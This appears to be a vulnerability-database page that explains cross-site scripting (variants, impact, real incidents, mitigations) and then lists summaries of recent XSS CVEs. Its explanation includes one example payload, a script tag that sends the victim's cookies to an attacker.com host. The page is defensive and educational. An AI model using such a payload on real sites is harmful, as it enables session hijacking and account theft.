Skip to main content

Cross-Site Scripting

web MEDIUM

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

How It Works

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding. The attacker crafts input containing JavaScript code, which the application then incorporates into its HTML response. When a victim's browser renders this response, it executes the injected script as if it were legitimate code from the trusted website.

The attack manifests in three main variants. Reflected XSS occurs when malicious script arrives via an HTTP parameter (like a search query) and immediately bounces back in the response—typically delivered through phishing links. Stored XSS is more dangerous: the payload persists in the application's database (in comment fields, user profiles, forum posts) and executes whenever anyone views the infected content. DOM-based XSS happens entirely client-side when JavaScript code improperly handles user-controllable data, modifying the DOM in unsafe ways without ever sending the payload to the server.

A typical attack flow starts with the attacker identifying an injection point—anywhere user input appears in HTML output. They craft a payload like <script>document.location='http://attacker.com/steal?c='+document.cookie</script> and inject it through the vulnerable parameter. When victims access the page, their browsers execute this script within the security context of the legitimate domain, giving the attacker full access to cookies, session tokens, and DOM content.

Impact

  • Session hijacking: Steal authentication cookies to impersonate victims and access their accounts
  • Credential harvesting: Inject fake login forms on trusted pages to capture usernames and passwords
  • Account takeover: Perform state-changing actions (password changes, fund transfers) as the authenticated victim
  • Keylogging: Monitor and exfiltrate everything users type on the compromised page
  • Phishing and malware distribution: Redirect users to malicious sites or deliver drive-by downloads from a trusted domain
  • Data exfiltration: Access and steal sensitive information visible in the DOM or retrieved via AJAX requests

Real-World Examples

A stored XSS vulnerability in Twitter (2010) allowed attackers to create self-propagating worms. Users hovering over malicious tweets automatically retweeted them and followed the attacker, creating viral spread through the platform's legitimate functionality.

eBay suffered from persistent XSS flaws in product listings (CVE-2015-2880) where attackers embedded malicious scripts in item descriptions. Buyers viewing these listings had their sessions compromised, enabling unauthorized purchases and account takeover.

British Airways faced a sophisticated supply chain attack (2018) where attackers injected JavaScript into the airline's payment page. The script skimmed credit card details from 380,000 transactions, demonstrating how XSS enables payment fraud at massive scale.

Mitigation

  • Context-aware output encoding: HTML-encode for HTML context, JavaScript-encode for JS strings, URL-encode for URLs—never use generic escaping
  • Content Security Policy (CSP): Deploy strict CSP headers to whitelist script sources and block inline JavaScript execution
  • HTTPOnly and Secure cookie flags: Prevent JavaScript access to session cookies and ensure transmission over HTTPS only
  • Input validation: Reject unexpected characters and patterns, though this is defense-in-depth, not primary protection
  • DOM-based XSS prevention: Use safe APIs like textContent instead of innerHTML; avoid passing user data to dangerous sinks like eval()

Recent CVEs (40858)

EPSS 0% CVSS 2.4
LOW POC Monitor

A vulnerability, which was classified as problematic, was found in SourceCodester House Rental Management System 1.0. Rated low severity (CVSS 2.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS House Rental Management System Oretnom23
NVD VulDB
EPSS 0% CVSS 2.4
LOW POC Monitor

A vulnerability, which was classified as problematic, has been found in SourceCodester House Rental Management System 1.0.php. Rated low severity (CVSS 2.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

PHP XSS House Rental Management System +1
NVD VulDB
EPSS 0% CVSS 6.1
MEDIUM This Month

The Advanced Woo Search plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the search parameter in all versions up to, and including, 2.96 due to insufficient input sanitization. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

WordPress XSS Advanced Woo Search +1
NVD VulDB
EPSS 0% CVSS 2.4
LOW POC Monitor

A vulnerability, which was classified as problematic, was found in Blood Bank & Donor Management 1.0. Rated low severity (CVSS 2.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

PHP XSS Blood Bank Donor Management System +1
NVD VulDB
EPSS 0% CVSS 5.4
MEDIUM POC This Month

An authenticated reflected cross-site scripting (XSS) vulnerability in QStar Archive Solutions Release RELEASE_3-0 Build 7 allows attackers to execute arbitrary javascript on a victim's browser via a. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS Archive Storage Manager Qstar
NVD GitHub
EPSS 0% CVSS 6.1
MEDIUM POC This Month

An unauthenticated reflected cross-site scripting (XSS) vulnerability in QStar Archive Solutions Release RELEASE_3-0 Build 7 allows attackers to execute arbitrary javascript on a victim's browser via. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS Archive Storage Manager Qstar
NVD GitHub
EPSS 0% CVSS 6.1
MEDIUM POC This Month

QStar Archive Solutions Release RELEASE_3-0 Build 7 Patch 0 was discovered to contain a DOM Based reflected XSS vulnerability within the component qnme-ajax?method=tree_table. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS Archive Storage Manager Qstar
NVD GitHub
EPSS 0% CVSS 8.8
HIGH POC This Week

QStar Archive Solutions Release RELEASE_3-0 Build 7 Patch 0 was discovered to contain a DOM Based Reflected Cross Site Scripting (XSS) vulnerability within the component qnme-ajax?method=tree_level. Rated high severity (CVSS 8.8), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS Archive Storage Manager Qstar
NVD GitHub
EPSS 4% CVSS 5.4
MEDIUM POC This Month

A Stored Cross-Site Scripting (XSS) vulnerability exists in OpenKM version 7.1.40 (dbb6e88) With Professional Extension that allows an authenticated user to upload a note on a file which acts as a. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS Openkm
NVD GitHub
EPSS 0% CVSS 7.1
HIGH This Week

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Cozmoslabs Profile Builder Pro allows Reflected XSS.10.0. Rated high severity (CVSS 7.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Profile Builder Cozmoslabs
NVD
EPSS 0% CVSS 6.5
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in MailMunch Constant Contact Forms by MailMunch allows Stored XSS.0.11. Rated medium severity (CVSS 6.5), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Constant Contact Forms Mailmunch
NVD
EPSS 0% CVSS 3.5
LOW Monitor

A vulnerability, which was classified as problematic, was found in code-projects Employee Profile Management System 1.0. Rated low severity (CVSS 3.5), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

PHP XSS Employee Profile Management System +1
NVD GitHub VulDB
EPSS 0% CVSS 5.4
MEDIUM POC This Month

A stored XSS vulnerability exists in JFinalcms 5.0.0 via the /gusetbook/save mobile parameter, which allows remote attackers to inject arbitrary web script or HTML. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS Jfinalcms Jfinalcms Project
NVD GitHub
EPSS 0% CVSS 5.4
MEDIUM POC This Month

A stored XSS vulnerability exists in JFinalcms 5.0.0 via the /gusetbook/save content parameter, which allows remote attackers to inject arbitrary web script or HTML. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS Jfinalcms Jfinalcms Project
NVD GitHub
EPSS 0% CVSS 5.4
MEDIUM POC This Month

A stored XSS vulnerability exists in JFinalcms 5.0.0 via the /gusetbook/save contact parameter, which allows remote attackers to inject arbitrary web script or HTML. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS Jfinalcms Jfinalcms Project
NVD GitHub
EPSS 0% CVSS 6.1
MEDIUM This Month

An XSS attack can be performed by changing the MOTD banner and pointing the victim to the "terminal_tool.cgi" path. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS H8951 4G Esp Firmware Hongdian
NVD
EPSS 0% CVSS 6.1
MEDIUM This Month

User browser may be forced to execute JavaScript and pass the authentication cookie to the attacker leveraging the XSS vulnerability located at "/gui/terminal_tool.cgi" in the "data" parameter. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS H8951 4G Esp Firmware Hongdian
NVD
EPSS 0% CVSS 6.1
MEDIUM POC This Month

Cross Site Scripting vulnerability in piwigo v.14.0.0 allows a remote attacker to obtain sensitive information via the lang parameter in the Admin Tools plug-in component. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS Piwigo
NVD GitHub
EPSS 0% CVSS 6.1
MEDIUM POC PATCH This Month

An issue was discovered in the GlobalBlocking extension in MediaWiki before 1.40.2. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available.

XSS Mediawiki
NVD
EPSS 0% CVSS 5.4
MEDIUM POC This Month

An issue was discovered in the Phonos extension in MediaWiki before 1.40.2. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS Mediawiki
NVD
EPSS 0% CVSS 6.1
MEDIUM POC PATCH This Month

An issue was discovered in the WatchAnalytics extension in MediaWiki before 1.40.2. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available.

XSS Mediawiki
NVD
EPSS 0% CVSS 5.4
MEDIUM POC PATCH This Month

An issue was discovered in the PageTriage extension in MediaWiki before 1.35.14, 1.36.x through 1.39.x before 1.39.6, and 1.40.x before 1.40.2. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available.

XSS Mediawiki
NVD
EPSS 0% CVSS 6.1
MEDIUM POC PATCH This Month

An issue was discovered in the Cargo extension in MediaWiki before 1.35.14, 1.36.x through 1.39.x before 1.39.6, and 1.40.x before 1.40.2. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available.

PHP XSS Mediawiki
NVD
EPSS 1% CVSS 5.4
MEDIUM POC PATCH This Month

An issue was discovered in the CheckUser extension in MediaWiki before 1.35.14, 1.36.x through 1.39.x before 1.39.6, and 1.40.x before 1.40.2. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available.

XSS Mediawiki
NVD
EPSS 0% CVSS 5.4
MEDIUM POC PATCH This Month

An issue was discovered in the CampaignEvents extension in MediaWiki before 1.35.14, 1.36.x through 1.39.x before 1.39.6, and 1.40.x before 1.40.2. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available.

XSS Mediawiki
NVD
EPSS 0% CVSS 3.5
LOW POC Monitor

A vulnerability, which was classified as problematic, has been found in cloudfavorites favorites-web 1.3.0. Rated low severity (CVSS 3.5), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS Favorites Web
NVD GitHub VulDB
EPSS 0% CVSS 3.5
LOW POC Monitor

A vulnerability classified as problematic was found in qkmc-rk redbbs 1.0. Rated low severity (CVSS 3.5), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS Redbbs
NVD GitHub VulDB
EPSS 0% CVSS 3.5
LOW POC Monitor

A vulnerability classified as problematic has been found in CodeAstro Simple Banking System 1.0. Rated low severity (CVSS 3.5), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

PHP XSS Simple Banking System +1
NVD VulDB
EPSS 0% CVSS 3.5
LOW POC Monitor

A vulnerability was found in CodeAstro Online Food Ordering System 1.0. Rated low severity (CVSS 3.5), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

PHP XSS Online Food Ordering System +1
NVD VulDB
EPSS 0% CVSS 3.5
LOW POC Monitor

A vulnerability was found in CodeAstro POS and Inventory Management System 1.0. Rated low severity (CVSS 3.5), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS Pos And Inventory Management System Codeastro
NVD VulDB
EPSS 1% CVSS 9.3
CRITICAL PATCH This Week

This package provides universal methods to use multiple template engines with the Fiber web framework using the Views interface. Rated critical severity (CVSS 9.3), this vulnerability is remotely exploitable, no authentication required, low attack complexity.

XSS Django Gofiber
NVD GitHub
EPSS 0% CVSS 5.4
MEDIUM This Month

The application is vulnerable to Stored Cross-Site Scripting (XSS) in the endpoint /sofer/DocumentService.asc/SaveAnnotation, where input data transmitted via the POST method in the parameters author. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Kofax Capture Tungstenautomation
NVD
EPSS 0% CVSS 6.4
MEDIUM PATCH This Month

The Oxygen Builder plugin for WordPress is vulnerable to Stored Cross-Site Scripting via a custom field in all versions up to, and including, 4.8 due to insufficient input sanitization and output. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

WordPress XSS Oxygen +1
NVD VulDB
EPSS 0% CVSS 3.5
LOW POC Monitor

A vulnerability classified as problematic has been found in qkmc-rk redbbs 1.0. Rated low severity (CVSS 3.5), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS Redbbs
NVD GitHub VulDB
EPSS 0% CVSS 6.4
MEDIUM PATCH This Month

The Essential Blocks - Page Builder Gutenberg Blocks, Patterns & Templates plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the Table of Contents block in all versions up to, and. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

WordPress XSS Essential Blocks +2
NVD VulDB
EPSS 0% CVSS 5.4
MEDIUM PATCH This Month

The Email Encoder - Protect Email Addresses and Phone Numbers plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's eeb_mailto shortcode in all versions up to, and. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

WordPress XSS Email Encoder +2
NVD VulDB
EPSS 0% CVSS 6.4
MEDIUM PATCH This Month

The List category posts plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'catlist' shortcode in all versions up to, and including, 0.89.3 due to insufficient input. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

WordPress XSS List Category Posts +1
NVD VulDB
EPSS 0% CVSS 5.4
MEDIUM PATCH This Month

The Weaver Xtreme theme for WordPress is vulnerable to Stored Cross-Site Scripting via custom post meta in all versions up to, and including, 6.3.0 due to insufficient input sanitization and output. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

WordPress XSS Weaver Xtreme Theme Support +2
NVD VulDB
EPSS 0% CVSS 6.4
MEDIUM This Month

The Colibri Page Builder plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's extend_builder_render_js shortcode in all versions up to, and including, 1.0.239 due to. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS Colibri Page Builder +2
NVD VulDB
EPSS 0% CVSS 6.4
MEDIUM PATCH This Month

The Limit Login Attempts Reloaded plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's shortcode(s) in all versions up to, and including, 2.25.26 due to insufficient. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

WordPress XSS Limit Login Attempts Reloaded +2
NVD VulDB
EPSS 0% CVSS 4.4
MEDIUM PATCH This Month

The Photo Gallery by 10Web plugin for WordPress is vulnerable to Stored Cross-Site Scripting via widgets in versions up to, and including, 1.8.18 due to insufficient input sanitization and output. Rated medium severity (CVSS 4.4), this vulnerability is remotely exploitable. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

WordPress XSS Photo Gallery +2
NVD VulDB
EPSS 2% CVSS 6.1
MEDIUM PATCH This Month

The Simple Membership plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the ‘environment_mode’ parameter in all versions up to, and including, 4.3.8 due to insufficient input. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

WordPress XSS Simple Membership +2
NVD VulDB
EPSS 1% CVSS 7.2
HIGH This Week

The Contact Form, Survey & Popup Form Plugin for WordPress - ARForms Form Builder plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the ‘ arf_http_referrer_url’ parameter in all. Rated high severity (CVSS 7.2), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

WordPress XSS Arforms Form Builder +2
NVD VulDB
EPSS 0% CVSS 6.4
MEDIUM PATCH This Month

The AMP for WP - Accelerated Mobile Pages plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's shortcode(s) in all versions up to, and including, 1.0.92 due to. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

WordPress XSS Amp For Wp +2
NVD VulDB
EPSS 0% CVSS 6.4
MEDIUM PATCH This Month

The Orbit Fox by ThemeIsle plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's custom fields in all versions up to, and including, 2.10.26 due to insufficient input. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

WordPress XSS Orbit Fox +2
NVD VulDB
EPSS 0% CVSS 6.4
MEDIUM PATCH This Month

The 3D FlipBook plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the ‘Ready Function’ field in all versions up to, and including, 1.15.2 due to insufficient input sanitization. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

WordPress XSS 3d Flipbook +2
NVD VulDB
EPSS 5% CVSS 4.7
MEDIUM PATCH This Month

The Enable Media Replace plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the SHORTPIXEL_DEBUG parameter in all versions up to, and including, 4.1.4 due to insufficient input. Rated medium severity (CVSS 4.7), this vulnerability is remotely exploitable, no authentication required. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

WordPress XSS Enable Media Replace +2
NVD VulDB
EPSS 0% CVSS 6.4
MEDIUM PATCH This Month

The Ibtana - WordPress Website Builder plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'ive' shortcode in versions up to, and including, 1.2.2 due to insufficient input. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

WordPress XSS Ibtana +2
NVD
EPSS 0% CVSS 6.4
MEDIUM This Month

The Post Grid Combo - 36+ Gutenberg Blocks plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the custom JS parameter in all versions up to, and including, 2.2.64 due to. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS Post Grid Combo +2
NVD VulDB
EPSS 3% CVSS 6.1
MEDIUM PATCH This Month

The Happy Addons for Elementor plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via DOM in all versions up to and including 3.9.1.1 (versions up to 2.9.1.1 in Happy Addons for. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

WordPress XSS Happy Addons For Elementor +3
NVD VulDB
EPSS 0% CVSS 4.9
MEDIUM PATCH This Month

The Import and export users and customers plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's shortcode(s) in all versions up to, and including, 1.24.3 due to. Rated medium severity (CVSS 4.9), this vulnerability is remotely exploitable. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

WordPress XSS Import And Export Users And Customers +2
NVD VulDB
EPSS 0% CVSS 6.4
MEDIUM PATCH This Month

The Featured Image from URL (FIFU) plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the featured image alt text in all versions up to, and including, 4.5.3 due to insufficient. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

WordPress XSS Featured Image From Url +2
NVD VulDB
EPSS 0% CVSS 5.4
MEDIUM PATCH This Month

The FOX - Currency Switcher Professional for WooCommerce plugin for WordPress is vulnerable to Stored Cross-Site Scripting via currency options in all versions up to, and including, 1.4.1.5 due to. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

WordPress XSS Fox Currency Switcher Professional For Woocommerce +2
NVD VulDB
EPSS 0% CVSS 4.4
MEDIUM PATCH This Month

The Chatbot for WordPress plugin for WordPress is vulnerable to Stored Cross-Site Scripting via admin settings in version 2.3.9 due to insufficient input sanitization and output escaping. Rated medium severity (CVSS 4.4), this vulnerability is remotely exploitable. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

WordPress XSS Chatbot +2
NVD
EPSS 0% CVSS 6.4
MEDIUM PATCH This Month

The Video PopUp plugin for WordPress is vulnerable to Stored Cross-Site Scripting via 'video_popup' shortcode in versions up to, and including, 1.1.3 due to insufficient input sanitization and output. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

WordPress XSS Video Popup +2
NVD VulDB
EPSS 0% CVSS 6.4
MEDIUM PATCH This Month

The WCFM Marketplace plugin for WordPress is vulnerable to Stored Cross-Site Scripting via 'wcfm_stores' shortcode in versions up to, and including, 3.6.2 due to insufficient input sanitization and. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

WordPress XSS Wcfm Marketplace +2
NVD
EPSS 2% CVSS 6.4
MEDIUM PATCH This Month

The LiteSpeed Cache plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'esi' shortcode in versions up to, and including, 5.6 due to insufficient input sanitization and output. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

WordPress XSS Litespeed Cache +2
NVD GitHub VulDB
EPSS 0% CVSS 4.4
MEDIUM This Month

The Calculated Fields Form plugin for WordPress is vulnerable to Stored Cross-Site Scripting via admin settings in all versions up to, and including, 1.2.40 due to insufficient input sanitization and. Rated medium severity (CVSS 4.4), this vulnerability is remotely exploitable. No vendor patch available.

WordPress XSS Calculated Fields Form +2
NVD VulDB
EPSS 0% CVSS 7.6
HIGH PATCH This Month

Authentik is an open-source Identity Provider. Rated high severity (CVSS 7.6), this vulnerability is remotely exploitable. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS Privilege Escalation Authentik +1
NVD GitHub
EPSS 0% CVSS 5.4
MEDIUM PATCH This Month

Jinja is an extensible templating engine. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Python Jinja +1
NVD GitHub
EPSS 0% CVSS 6.1
MEDIUM POC This Month

member/index/register.html in YzmCMS 6.5 through 7.0 allows XSS via the Referer HTTP header. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS Yzmcms
NVD GitHub
EPSS 0% CVSS 6.1
MEDIUM This Month

Cross Site Scripting Vulnerability in Elite CRM v1.2.11 allows attacker to execute arbitrary code via the language parameter to the /ngs/login endpoint. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS RCE Elite Cms +1
NVD
EPSS 0% CVSS 4.7
MEDIUM This Month

The issue was addressed with improved UI handling. Rated medium severity (CVSS 4.7), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Apple iOS +3
NVD
EPSS 0% CVSS 8.5
HIGH This Week

A cross-site scripting (xss) vulnerability exists in the navbarMenuAndLogo.php user name functionality of WWBN AVideo dev master commit 15fed957fb. Rated high severity (CVSS 8.5), this vulnerability is remotely exploitable. No vendor patch available.

PHP XSS Avideo +1
NVD
EPSS 17% CVSS 9.6
CRITICAL POC THREAT Emergency

A cross-site scripting (xss) vulnerability exists in the functiongetOpenGraph videoName functionality of WWBN AVideo 11.6 and dev master commit 3c6bb3ff. Rated critical severity (CVSS 9.6), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and EPSS exploitation probability 17.4%.

XSS Avideo Wwbn
NVD
EPSS 0% CVSS 9.0
CRITICAL POC Act Now

A cross-site scripting (xss) vulnerability exists in the channelBody.php user name functionality of WWBN AVideo 11.6 and dev master commit 15fed957fb. Rated critical severity (CVSS 9.0), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

PHP XSS Avideo +1
NVD
EPSS 0% CVSS 6.3
MEDIUM This Month

The vulnerability allows an unauthenticated remote attacker to send malicious network requests containing arbitrary client-side script code and obtain its execution inside a victim’s session via a. Rated medium severity (CVSS 6.3), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Nexo Os Bosch
NVD
EPSS 0% CVSS 5.3
MEDIUM This Month

The vulnerability allows a remote attacker to inject and execute arbitrary client-side script code inside a victim’s session via a crafted URL or HTTP request. Rated medium severity (CVSS 5.3), this vulnerability is no authentication required, low attack complexity. No vendor patch available.

XSS Nexo Os Bosch
NVD
EPSS 0% CVSS 6.1
MEDIUM This Month

A content-security-policy vulnerability in ENS Control browser extension prior to 10.7.0 Update 15 allows a remote attacker to alter the response header parameter setting to switch the content. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Endpoint Security Web Control Trellix
NVD
EPSS 0% CVSS 5.5
MEDIUM This Month

The vulnerability allows an authenticated remote attacker to upload a malicious file to the SD card containing arbitrary client-side script code and obtain its execution inside a victim’s session via. Rated medium severity (CVSS 5.5), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Nexo Os Bosch
NVD
EPSS 0% CVSS 5.3
MEDIUM This Month

The vulnerability allows a remote attacker to inject and execute arbitrary client-side script code inside a victim’s session via a crafted URL or HTTP request. Rated medium severity (CVSS 5.3), this vulnerability is no authentication required, low attack complexity. No vendor patch available.

XSS Nexo Os Bosch
NVD
EPSS 0% CVSS 5.4
MEDIUM POC This Month

PublicCMS 4.0 is vulnerable to Cross Site Scripting (XSS). Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS Publiccms
NVD GitHub
EPSS 0% CVSS 6.1
MEDIUM POC This Month

A Cross-Site Scripting (XSS) vulnerability was discovered in Hospital Management System V4.0 which allows an attacker to execute arbitrary web scripts or HTML code via a malicious payload appended to. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS Hospital Management System Phpgurukul
NVD
EPSS 0% CVSS 5.7
MEDIUM This Month

There is a Cross-site scripting (XSS) vulnerability in ZTE MF258. Rated medium severity (CVSS 5.7), this vulnerability is low attack complexity. No vendor patch available.

XSS Zte Mf258 Firmware
NVD
EPSS 0% CVSS 3.5
LOW POC Monitor

A vulnerability has been found in CodeAstro Vehicle Booking System 1.0 and classified as problematic. Rated low severity (CVSS 3.5), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

PHP XSS Vehicle Booking System +1
NVD VulDB
EPSS 0% CVSS 5.4
MEDIUM POC This Month

Cross Site Scripting (XSS) vulnerability in JFinalcms 5.0.0 allows attackers to run arbitrary code via the name field when creating a new custom table. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS RCE Jfinalcms +1
NVD GitHub
EPSS 0% CVSS 6.1
MEDIUM POC This Month

Cross Site Scripting vulnerability in Follet School Solutions Destiny v.20_0_1_AU4 and later allows a remote attacker to run arbitrary code via presentonesearchresultsform.do. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS RCE Solutions Destiny
NVD GitHub
EPSS 0% CVSS 4.3
MEDIUM POC Monitor

A vulnerability, which was classified as problematic, was found in CodeAstro Vehicle Booking System 1.0. Rated medium severity (CVSS 4.3), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

PHP XSS Vehicle Booking System +1
NVD VulDB
EPSS 0% CVSS 4.3
MEDIUM POC Monitor

A vulnerability classified as problematic was found in CodeAstro Simple House Rental System 5.6. Rated medium severity (CVSS 4.3), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS Simple House Rental System
NVD VulDB
